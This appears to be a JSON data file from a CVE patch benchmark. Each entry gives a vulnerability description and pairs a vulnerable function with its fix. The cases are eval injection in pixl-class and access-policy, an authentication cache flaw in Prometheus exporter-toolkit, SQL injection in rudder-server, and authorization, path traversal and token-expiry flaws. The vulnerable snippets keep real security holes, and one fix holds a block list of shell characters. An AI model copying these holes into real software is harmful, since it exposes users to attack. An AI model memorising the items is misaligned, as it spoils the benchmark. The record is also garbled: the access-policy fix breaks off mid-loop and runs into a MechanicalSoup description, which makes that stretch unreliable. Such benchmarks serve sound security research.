                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/jhuckaby/pixl-class",
        "patch_url": [
            "https://github.com/jhuckaby/pixl-class/commit/47677a3638e3583e42f3a05cc7f0b30293d2acc8,",
            "https://github.com/jhuckaby/pixl-class/commit/47677a3638e3583e42f3a05cc7f0b30293d2acc8"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_18_1",
                "commit": "cd79906",
                "file_path": "class.js",
                "start_line": 8,
                "end_line": 104,
                "snippet": "exports.create = function create(members) {\n\t// create new class using php-style syntax (sort of)\n\tif (!members) members = {};\n\t\n\t// setup constructor\n\tvar constructor = null;\n\t\n\t// inherit from parent class\n\tif (members.__parent) {\n\t\tif (members.__construct) {\n\t\t\t// explicit constructor passed in\n\t\t\tconstructor = members.__construct;\n\t\t}\n\t\telse {\n\t\t\t// inherit parent's constructor\n\t\t\tvar code = members.__parent.toString();\n\t\t\tvar args = code.substring( code.indexOf(\"(\")+1, code.indexOf(\")\") );\n\t\t\tvar inner_code = code.substring( code.indexOf(\"{\")+1, code.lastIndexOf(\"}\") );\n\t\t\teval('constructor = function ('+args+') {'+inner_code+'};');\n\t\t}\n\t\t\n\t\t// inherit rest of parent members\n\t\tutil.inherits(constructor, members.__parent);\n\t\tdelete members.__parent;\n\t}\n\telse {\n\t\t// create new base class\n\t\tconstructor = members.__construct || function() {};\n\t}\n\tdelete members.__construct;\n\t\n\t// handle static variables\n\tif (members.__static) {\n\t\tfor (var key in members.__static) {\n\t\t\tconstructor[key] = members.__static[key];\n\t\t}\n\t\tdelete members.__static;\n\t}\n\t\n\t// all classes are event emitters unless explicitly disabled\n\tif (members.__events !== false) {\n\t\tif (!members.__mixins) members.__mixins = [];\n\t\tif (members.__mixins.indexOf(events.EventEmitter) == -1) {\n\t\t\tmembers.__mixins.push( events.EventEmitter );\n\t\t}\n\t}\n\tdelete members.__events;\n\t\n\t// handle mixins\n\tif (members.__mixins) {\n\t\tfor (var idx = 0, len = members.__mixins.length; idx < len; idx++) {\n\t\t\tvar class_obj = members.__mixins[idx];\n\t\t\t\n\t\t\tfor (var key in class_obj.prototype) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(constructor.prototype[key]) == 'undefined')) {\n\t\t\t\t\tconstructor.prototype[key] = class_obj.prototype[key];\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar static_members = class_obj.__static;\n\t\t\tif (static_members) {\n\t\t\t\tfor (var key in static_members) {\n\t\t\t\t\tif (typeof(constructor[key]) == 'undefined') constructor[key] = static_members[key];\n\t\t\t\t}\n\t\t\t}\n\t\t} // foreach mixin\n\t\tdelete members.__mixins;\n\t} // mixins\n\t\n\t// handle promisify (node 8+)\n\tif (members.__promisify && util.promisify) {\n\t\tif (Array.isArray(members.__promisify)) {\n\t\t\t// promisify some\n\t\t\tmembers.__promisify.forEach( function(key) {\n\t\t\t\tif (typeof(members[key]) == 'function') {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t\telse {\n\t\t\t// promisify all\n\t\t\tfor (var key in members) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(members[key]) == 'function')) {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdelete members.__promisify;\n\t}\n\t\n\t// fill prototype members\n\tfor (var key in members) {\n\t\tconstructor.prototype[key] = members[key];\n\t}\n\t\n\t// return completed class definition\n\treturn constructor;\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            16,
                            17,
                            18,
                            19
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_18_1",
                "commit": "47677a3",
                "file_path": "class.js",
                "start_line": 8,
                "end_line": 105,
                "snippet": "exports.create = function create(members) {\n\t// create new class using php-style syntax (sort of)\n\tif (!members) members = {};\n\t\n\t// setup constructor\n\tvar constructor = null;\n\t\n\t// inherit from parent class\n\tif (members.__parent) {\n\t\tif (members.__construct) {\n\t\t\t// explicit constructor passed in\n\t\t\tconstructor = members.__construct;\n\t\t}\n\t\telse {\n\t\t\t// inherit parent's constructor\n\t\t\tvar parent = members.__parent;\n\t\t\tconstructor = function() {\n\t\t\t\tvar args = Array.prototype.slice.call(arguments);\n\t\t\t\tparent.apply( this, args );\n\t\t\t};\n\t\t}\n\t\t\n\t\t// inherit rest of parent members\n\t\tutil.inherits(constructor, members.__parent);\n\t\tdelete members.__parent;\n\t}\n\telse {\n\t\t// create new base class\n\t\tconstructor = members.__construct || function() {};\n\t}\n\tdelete members.__construct;\n\t\n\t// handle static variables\n\tif (members.__static) {\n\t\tfor (var key in members.__static) {\n\t\t\tconstructor[key] = members.__static[key];\n\t\t}\n\t\tdelete members.__static;\n\t}\n\t\n\t// all classes are event emitters unless explicitly disabled\n\tif (members.__events !== false) {\n\t\tif (!members.__mixins) members.__mixins = [];\n\t\tif (members.__mixins.indexOf(events.EventEmitter) == -1) {\n\t\t\tmembers.__mixins.push( events.EventEmitter );\n\t\t}\n\t}\n\tdelete members.__events;\n\t\n\t// handle mixins\n\tif (members.__mixins) {\n\t\tfor (var idx = 0, len = members.__mixins.length; idx < len; idx++) {\n\t\t\tvar class_obj = members.__mixins[idx];\n\t\t\t\n\t\t\tfor (var key in class_obj.prototype) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(constructor.prototype[key]) == 'undefined')) {\n\t\t\t\t\tconstructor.prototype[key] = class_obj.prototype[key];\n\t\t\t\t}\n\t\t\t}\n\t\t\tvar static_members = class_obj.__static;\n\t\t\tif (static_members) {\n\t\t\t\tfor (var key in static_members) {\n\t\t\t\t\tif (typeof(constructor[key]) == 'undefined') constructor[key] = static_members[key];\n\t\t\t\t}\n\t\t\t}\n\t\t} // foreach mixin\n\t\tdelete members.__mixins;\n\t} // mixins\n\t\n\t// handle promisify (node 8+)\n\tif (members.__promisify && util.promisify) {\n\t\tif (Array.isArray(members.__promisify)) {\n\t\t\t// promisify some\n\t\t\tmembers.__promisify.forEach( function(key) {\n\t\t\t\tif (typeof(members[key]) == 'function') {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t} );\n\t\t}\n\t\telse {\n\t\t\t// promisify all\n\t\t\tfor (var key in members) {\n\t\t\t\tif (!key.match(/^__/) && (typeof(members[key]) == 'function')) {\n\t\t\t\t\tmembers[key] = util.promisify( members[key] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tdelete members.__promisify;\n\t}\n\t\n\t// fill prototype members\n\tfor (var key in members) {\n\t\tconstructor.prototype[key] = members[key];\n\t}\n\t\n\t// return completed class definition\n\treturn constructor;\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7640"
    },
    {
        "cve_id": "CVE-2022-46146",
        "cve_description": "Prometheus Exporter Toolkit is a utility package to build exporters. Prior to versions 0.7.2 and 0.8.2, if someone has access to a Prometheus web.yml file and users' bcrypted passwords, they can bypass security by poisoning the built-in authentication cache. Versions 0.7.2 and 0.8.2 contain a fix for the issue. There is no workaround, but attacker must have access to the hashed password to use this functionality.",
        "cwe_info": {
            "CWE-287": {
                "name": "Improper Authentication",
                "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."
            }
        },
        "repo": "https://github.com/prometheus/exporter-toolkit",
        "patch_url": [
            "https://github.com/prometheus/exporter-toolkit/commit/5b1eab34484ddd353986bce736cd119d863e4ff5"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_64_1",
                "commit": "c6a2415",
                "file_path": "web/handler.go",
                "start_line": 87,
                "end_line": 137,
                "snippet": "func (u *webHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tc, err := getConfig(u.tlsConfigPath)\n\tif err != nil {\n\t\tu.logger.Log(\"msg\", \"Unable to parse configuration\", \"err\", err)\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Configure http headers.\n\tfor k, v := range c.HTTPConfig.Header {\n\t\tw.Header().Set(k, v)\n\t}\n\n\tif len(c.Users) == 0 {\n\t\tu.handler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tuser, pass, auth := r.BasicAuth()\n\tif auth {\n\t\thashedPassword, validUser := c.Users[user]\n\n\t\tif !validUser {\n\t\t\t// The user is not found. Use a fixed password hash to\n\t\t\t// prevent user enumeration by timing requests.\n\t\t\t// This is a bcrypt-hashed version of \"fakepassword\".\n\t\t\thashedPassword = \"$2y$10$QOauhQNbBCuQDKes6eFzPeMqBSjb7Mr5DUmpZ/VcEd00UAV/LDeSi\"\n\t\t}\n\n\t\tcacheKey := hex.EncodeToString(append(append([]byte(user), []byte(hashedPassword)...), []byte(pass)...))\n\t\tauthOk, ok := u.cache.get(cacheKey)\n\n\t\tif !ok {\n\t\t\t// This user, hashedPassword, password is not cached.\n\t\t\tu.bcryptMtx.Lock()\n\t\t\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(pass))\n\t\t\tu.bcryptMtx.Unlock()\n\n\t\t\tauthOk = err == nil\n\t\t\tu.cache.set(cacheKey, authOk)\n\t\t}\n\n\t\tif authOk && validUser {\n\t\t\tu.handler.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tw.Header().Set(\"WWW-Authenticate\", \"Basic\")\n\thttp.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            30
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            39
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_64_1",
                "commit": "5b1eab34484ddd353986bce736cd119d863e4ff5",
                "file_path": "web/handler.go",
                "start_line": 88,
                "end_line": 143,
                "snippet": "func (u *webHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tc, err := getConfig(u.tlsConfigPath)\n\tif err != nil {\n\t\tu.logger.Log(\"msg\", \"Unable to parse configuration\", \"err\", err)\n\t\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Configure http headers.\n\tfor k, v := range c.HTTPConfig.Header {\n\t\tw.Header().Set(k, v)\n\t}\n\n\tif len(c.Users) == 0 {\n\t\tu.handler.ServeHTTP(w, r)\n\t\treturn\n\t}\n\n\tuser, pass, auth := r.BasicAuth()\n\tif auth {\n\t\thashedPassword, validUser := c.Users[user]\n\n\t\tif !validUser {\n\t\t\t// The user is not found. Use a fixed password hash to\n\t\t\t// prevent user enumeration by timing requests.\n\t\t\t// This is a bcrypt-hashed version of \"fakepassword\".\n\t\t\thashedPassword = \"$2y$10$QOauhQNbBCuQDKes6eFzPeMqBSjb7Mr5DUmpZ/VcEd00UAV/LDeSi\"\n\t\t}\n\n\t\tcacheKey := strings.Join(\n\t\t\t[]string{\n\t\t\t\thex.EncodeToString([]byte(user)),\n\t\t\t\thex.EncodeToString([]byte(hashedPassword)),\n\t\t\t\thex.EncodeToString([]byte(pass)),\n\t\t\t}, \":\")\n\t\tauthOk, ok := u.cache.get(cacheKey)\n\n\t\tif !ok {\n\t\t\t// This user, hashedPassword, password is not cached.\n\t\t\tu.bcryptMtx.Lock()\n\t\t\terr := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(pass))\n\t\t\tu.bcryptMtx.Unlock()\n\n\t\t\tauthOk = validUser && err == nil\n\t\t\tu.cache.set(cacheKey, authOk)\n\t\t}\n\n\t\tif authOk && validUser {\n\t\t\tu.handler.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\t}\n\n\tw.Header().Set(\"WWW-Authenticate\", \"Basic\")\n\thttp.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-46146"
    },
    {
        "cve_id": "CVE-2023-30625",
        "cve_description": "rudder-server is part of RudderStack, an open source Customer Data Platform (CDP). Versions of rudder-server prior to 1.3.0-rc.1 are vulnerable to SQL injection. This issue may lead to Remote Code Execution (RCE) due to the `rudder` role in PostgresSQL having superuser permissions by default. Version 1.3.0-rc.1 contains patches for this issue.",
        "cwe_info": {
            "CWE-89": {
                "name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
                "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."
            }
        },
        "repo": "https://github.com/rudderlabs/rudder-server",
        "patch_url": [
            "https://github.com/rudderlabs/rudder-server/commit/2f956b7eb3d5eb2de3e79d7df2c87405af25071e",
            "https://github.com/rudderlabs/rudder-server/commit/9c009d9775abc99e72fc470f4c4c8e8f1775e82a",
            "https://github.com/rudderlabs/rudder-server/commit/0d061ff2d8c16845179d215bf8012afceba12a30"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_28_1",
                "commit": "725e9e7",
                "file_path": "router/failed-events-manager.go",
                "start_line": 91,
                "end_line": 103,
                "snippet": "func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\t// Drop table\n\ttable := fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID)\n\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n\t_, err := fem.dbHandle.Exec(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_28_1",
                "commit": "0d061ff",
                "file_path": "router/failed-events-manager.go",
                "start_line": 53,
                "end_line": 89,
                "snippet": "func (*FailedEventsManagerT) SaveFailedRecordIDs(taskRunIDFailedEventsMap map[string][]*FailedEventRowT, txn *sql.Tx) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\tfor taskRunID, failedEvents := range taskRunIDFailedEventsMap {\n\t\ttable := getSqlSafeTablename(taskRunID)\n\t\tsqlStatement := fmt.Sprintf(`CREATE TABLE IF NOT EXISTS %s (\n\t\tdestination_id TEXT NOT NULL,\n\t\trecord_id JSONB NOT NULL,\n\t\tcreated_at TIMESTAMP NOT NULL);`, table)\n\t\t_, err := txn.Exec(sqlStatement)\n\t\tif err != nil {\n\t\t\t_ = txn.Rollback()\n\t\t\tpanic(err)\n\t\t}\n\t\tinsertQuery := fmt.Sprintf(`INSERT INTO %s VALUES($1, $2, $3);`, table)\n\t\tstmt, err := txn.Prepare(insertQuery)\n\t\tif err != nil {\n\t\t\t_ = txn.Rollback()\n\t\t\tpanic(err)\n\t\t}\n\t\tcreatedAt := time.Now()\n\t\tfor _, failedEvent := range failedEvents {\n\t\t\tif len(failedEvent.RecordID) == 0 || !json.Valid(failedEvent.RecordID) {\n\t\t\t\tpkgLogger.Infof(\"skipped adding invalid recordId: %s, to failed keys table: %s\", failedEvent.RecordID, table)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = stmt.Exec(failedEvent.DestinationID, failedEvent.RecordID, createdAt)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\n\t\tstmt.Close()\n\t}\n}"
            },
            {
                "id": "fix_go_28_2",
                "commit": "0d061ff",
                "file_path": "router/failed-events-manager.go",
                "start_line": 91,
                "end_line": 103,
                "snippet": "func (fem *FailedEventsManagerT) DropFailedRecordIDs(taskRunID string) {\n\tif !failedKeysEnabled {\n\t\treturn\n\t}\n\n\t// Drop table\n\ttable := getSqlSafeTablename(taskRunID)\n\tsqlStatement := fmt.Sprintf(`DROP TABLE IF EXISTS %s`, table)\n\t_, err := fem.dbHandle.Exec(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to drop table %s with error: %v\", taskRunID, err)\n\t}\n}"
            },
            {
                "id": "fix_go_28_3",
                "commit": "0d061ff",
                "file_path": "router/failed-events-manager.go",
                "start_line": 105,
                "end_line": 134,
                "snippet": "func (fem *FailedEventsManagerT) FetchFailedRecordIDs(taskRunID string) []*FailedEventRowT {\n\tif !failedKeysEnabled {\n\t\treturn []*FailedEventRowT{}\n\t}\n\n\tfailedEvents := make([]*FailedEventRowT, 0)\n\n\tvar rows *sql.Rows\n\tvar err error\n\ttable := getSqlSafeTablename(taskRunID)\n\tsqlStatement := fmt.Sprintf(`SELECT %[1]s.destination_id, %[1]s.record_id\n                                             FROM %[1]s `, table)\n\trows, err = fem.dbHandle.Query(sqlStatement)\n\tif err != nil {\n\t\tpkgLogger.Errorf(\"Failed to fetch from table %s with error: %v\", taskRunID, err)\n\t\treturn failedEvents\n\t}\n\tdefer rows.Close()\n\n\tfor rows.Next() {\n\t\tvar failedEvent FailedEventRowT\n\t\terr := rows.Scan(&failedEvent.DestinationID, &failedEvent.RecordID)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tfailedEvents = append(failedEvents, &failedEvent)\n\t}\n\n\treturn failedEvents\n}"
            },
            {
                "id": "fix_go_28_4",
                "commit": "0d061ff",
                "file_path": "router/failed-events-manager.go",
                "start_line": 192,
                "end_line": 194,
                "snippet": "func getSqlSafeTablename(taskRunID string) string {\n\treturn `\"` + strings.ReplaceAll(fmt.Sprintf(`%s_%s`, failedKeysTablePrefix, taskRunID), `\"`, `\"\"`) + `\"`\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-30625"
    },
    {
        "cve_id": "CVE-2021-39163",
        "cve_description": "Matrix is an ecosystem for open federated Instant Messaging and Voice over IP. In versions 1.41.0 and prior, unauthorised users can access the name, avatar, topic and number of members of a room if they know the ID of the room. This vulnerability is limited to homeservers where the vulnerable homeserver is in the room and untrusted users are permitted to create groups (communities). By default, only homeserver administrators can create groups. However, homeserver administrators can already access this information in the database or using the admin API. As a result, only homeservers where the configuration setting `enable_group_creation` has been set to `true` are impacted. Server administrators should upgrade to 1.41.1 or higher to patch the vulnerability. There are two potential workarounds. Server administrators can set `enable_group_creation` to `false` in their homeserver configuration (this is the default value) to prevent creation of groups by non-administrators. Administrators that are using a reverse proxy could, with partial loss of group functionality, block the endpoints `/_matrix/client/r0/groups/{group_id}/rooms` and `/_matrix/client/unstable/groups/{group_id}/rooms`.",
        "cwe_info": {
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            }
        },
        "repo": "https://github.com/matrix-org/synapse",
        "patch_url": [
            "https://github.com/matrix-org/synapse/commit/cb35df940a"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_48_1",
                "commit": "52c7a51",
                "file_path": "synapse/groups/groups_server.py",
                "start_line": 321,
                "end_line": 357,
                "snippet": "    async def get_rooms_in_group(\n        self, group_id: str, requester_user_id: str\n    ) -> JsonDict:\n        \"\"\"Get the rooms in group as seen by requester_user_id\n\n        This returns rooms in order of decreasing number of joined users\n        \"\"\"\n\n        await self.check_group_is_ours(group_id, requester_user_id, and_exists=True)\n\n        is_user_in_group = await self.store.is_user_in_group(\n            requester_user_id, group_id\n        )\n\n        room_results = await self.store.get_rooms_in_group(\n            group_id, include_private=is_user_in_group\n        )\n\n        chunk = []\n        for room_result in room_results:\n            room_id = room_result[\"room_id\"]\n\n            joined_users = await self.store.get_users_in_room(room_id)\n            entry = await self.room_list_handler.generate_room_entry(\n                room_id, len(joined_users), with_alias=False, allow_private=True\n            )\n\n            if not entry:\n                continue\n\n            entry[\"is_public\"] = bool(room_result[\"is_public\"])\n\n            chunk.append(entry)\n\n        chunk.sort(key=lambda e: -e[\"num_joined_members\"])\n\n        return {\"chunk\": chunk, \"total_room_count_estimate\": len(room_results)}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            23
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            25
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            37
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_48_1",
                "commit": "cb35df940a828bc40b96daed997b5ad4c7842fd3",
                "file_path": "synapse/groups/groups_server.py",
                "start_line": 321,
                "end_line": 371,
                "snippet": "    async def get_rooms_in_group(\n        self, group_id: str, requester_user_id: str\n    ) -> JsonDict:\n        \"\"\"Get the rooms in group as seen by requester_user_id\n\n        This returns rooms in order of decreasing number of joined users\n        \"\"\"\n\n        await self.check_group_is_ours(group_id, requester_user_id, and_exists=True)\n\n        is_user_in_group = await self.store.is_user_in_group(\n            requester_user_id, group_id\n        )\n\n        # Note! room_results[\"is_public\"] is about whether the room is considered\n        # public from the group's point of view. (i.e. whether non-group members\n        # should be able to see the room is in the group).\n        # This is not the same as whether the room itself is public (in the sense\n        # of being visible in the room directory).\n        # As such, room_results[\"is_public\"] itself is not sufficient to determine\n        # whether any given user is permitted to see the room's metadata.\n        room_results = await self.store.get_rooms_in_group(\n            group_id, include_private=is_user_in_group\n        )\n\n        chunk = []\n        for room_result in room_results:\n            room_id = room_result[\"room_id\"]\n\n            joined_users = await self.store.get_users_in_room(room_id)\n\n            # check the user is actually allowed to see the room before showing it to them\n            allow_private = requester_user_id in joined_users\n\n            entry = await self.room_list_handler.generate_room_entry(\n                room_id,\n                len(joined_users),\n                with_alias=False,\n                allow_private=allow_private,\n            )\n\n            if not entry:\n                continue\n\n            entry[\"is_public\"] = bool(room_result[\"is_public\"])\n\n            chunk.append(entry)\n\n        chunk.sort(key=lambda e: -e[\"num_joined_members\"])\n\n        return {\"chunk\": chunk, \"total_room_count_estimate\": len(chunk)}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-39163"
    },
    {
        "cve_id": "CVE-2018-3733",
        "cve_description": "crud-file-server node module before 0.9.0 suffers from a Path Traversal vulnerability due to incorrect validation of url, which allows a malicious user to read content of any file with known path.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/omphalos/crud-file-server",
        "patch_url": [
            "https://github.com/omphalos/crud-file-server/commit/4fc3b404f718abb789f4ce4272c39c7a138c7a82"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_27_1",
                "commit": "833e7fc",
                "file_path": "crud-file-server.js",
                "start_line": 4,
                "end_line": 8,
                "snippet": "var cleanUrl = function(url) { \n\turl = decodeURIComponent(url);\n\twhile(url.indexOf('..').length > 0) { url = url.replace('..', ''); }\n\treturn url;\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_27_1",
                "commit": "4fc3b40",
                "file_path": "crud-file-server.js",
                "start_line": 4,
                "end_line": 8,
                "snippet": "var cleanUrl = function(url) { \n\turl = decodeURIComponent(url);\n\twhile(url.indexOf('..') >= 0) { url = url.replace('..', ''); }\n\treturn url;\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-3733"
    },
    {
        "cve_id": "CVE-2022-31145",
        "cve_description": "FlyteAdmin's external OAuth2/OIDC resource server validation accepts tokens issued by an external identity provider without correctly enforcing the JWT time-validity claims. An authenticated user or token holder can present a previously valid, externally issued Access Token or ID Token whose expiration time has already passed and still be treated as authenticated. This allows access to FlyteAdmin APIs and workflow administration capabilities beyond the token's intended lifetime, weakening session expiration and token revocation assumptions. The fix should ensure that, when FlyteAdmin is configured to trust an external identity provider, externally issued JWTs are accepted only if they are validly signed, intended for an allowed audience, and still valid according to their standard time-based claims, especially `exp`; expired tokens must be rejected and must not produce an authenticated identity, while valid unexpired external tokens should continue to work. Deployments using FlyteAdmin itself as the OAuth2 authorization server are outside the affected scope.",
        "cwe_info": {
            "CWE-613": {
                "name": "Insufficient Session Expiration",
                "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""
            }
        },
        "repo": "https://github.com/flyteorg/flyteadmin",
        "patch_url": [
            "https://github.com/flyteorg/flyteadmin/commit/a1ec282d02706e074bc4986fd0412e5da3b9d00a"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_65_1",
                "commit": "f18839d",
                "file_path": "auth/authzserver/resource_server.go",
                "start_line": 30,
                "end_line": 42,
                "snippet": "func (r ResourceServer) ValidateAccessToken(ctx context.Context, expectedAudience, tokenStr string) (interfaces.IdentityContext, error) {\n\traw, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclaimsRaw := map[string]interface{}{}\n\tif err = json.Unmarshal(raw, &claimsRaw); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to unmarshal user info claim into UserInfo type. Error: %w\", err)\n\t}\n\n\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), claimsRaw)\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            7,
                            8,
                            9,
                            12
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_65_1",
                "commit": "a1ec282d02706e074bc4986fd0412e5da3b9d00a",
                "file_path": "auth/authzserver/resource_server.go",
                "start_line": 31,
                "end_line": 47,
                "snippet": "func (r ResourceServer) ValidateAccessToken(ctx context.Context, expectedAudience, tokenStr string) (interfaces.IdentityContext, error) {\n\t_, err := r.signatureVerifier.VerifySignature(ctx, tokenStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tt, _, err := jwtgo.NewParser().ParseUnverified(tokenStr, jwtgo.MapClaims{})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse token: %v\", err)\n\t}\n\n\tif err = t.Claims.Valid(); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to validate token: %v\", err)\n\t}\n\n\treturn verifyClaims(sets.NewString(append(r.allowedAudience, expectedAudience)...), t.Claims.(jwtgo.MapClaims))\n}"
            },
            {
                "id": "fix_go_65_2",
                "commit": "a1ec282d02706e074bc4986fd0412e5da3b9d00a",
                "file_path": "auth/authzserver/resource_server.go",
                "start_line": 7,
                "end_line": 7,
                "snippet": "\tjwtgo \"github.com/golang-jwt/jwt/v4\""
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-31145"
    },
    {
        "cve_id": "CVE-2020-7674",
        "cve_description": "access-policy through 3.1.0 is vulnerable to Arbitrary Code Execution. User input provided to the `template` function is executed by the `eval` function resulting in code execution.",
        "cwe_info": {
            "CWE-94": {
                "name": "Improper Control of Generation of Code ('Code Injection')",
                "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."
            }
        },
        "repo": "https://github.com/TupleAustin/access-policy",
        "patch_url": [
            "https://github.com/TupleAustin/access-policy/commit/b5b12e22887a782d8b56a0464db7aaa22cc36d73"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_20_1",
                "commit": "64d9bdb",
                "file_path": "lib/encode.js",
                "start_line": 3,
                "end_line": 7,
                "snippet": "function template(literal, data) {\n  var tmpl = literal.replace(/(\\$\\{)/gm, '$1data.');\n\n  return eval('`' + tmpl + '`');\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_20_1",
                "commit": "b5b12e22887a782d8b56a0464db7aaa22cc36d73",
                "file_path": "lib/encode.js",
                "start_line": 3,
                "end_line": 35,
                "snippet": "function template(literal, data) {\n  var tmpl = literal.replace(/(\\$\\{)/gm, '$1data.');\n  let blacklist = ['&', ';', '|', '-', '$', '`', '||'];\n\n  if (blacklist.some(v => tmpl.includes(v))) {\n    for(var i=0; i` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.",
        "cwe_info": {
            "CWE-20": {
                "name": "Improper Input Validation",
                "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."
            }
        },
        "repo": "https://github.com/MechanicalSoup/MechanicalSoup",
        "patch_url": [
            "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_66_1",
                "commit": "b9c8a0c",
                "file_path": "mechanicalsoup/browser.py",
                "start_line": 187,
                "end_line": 293,
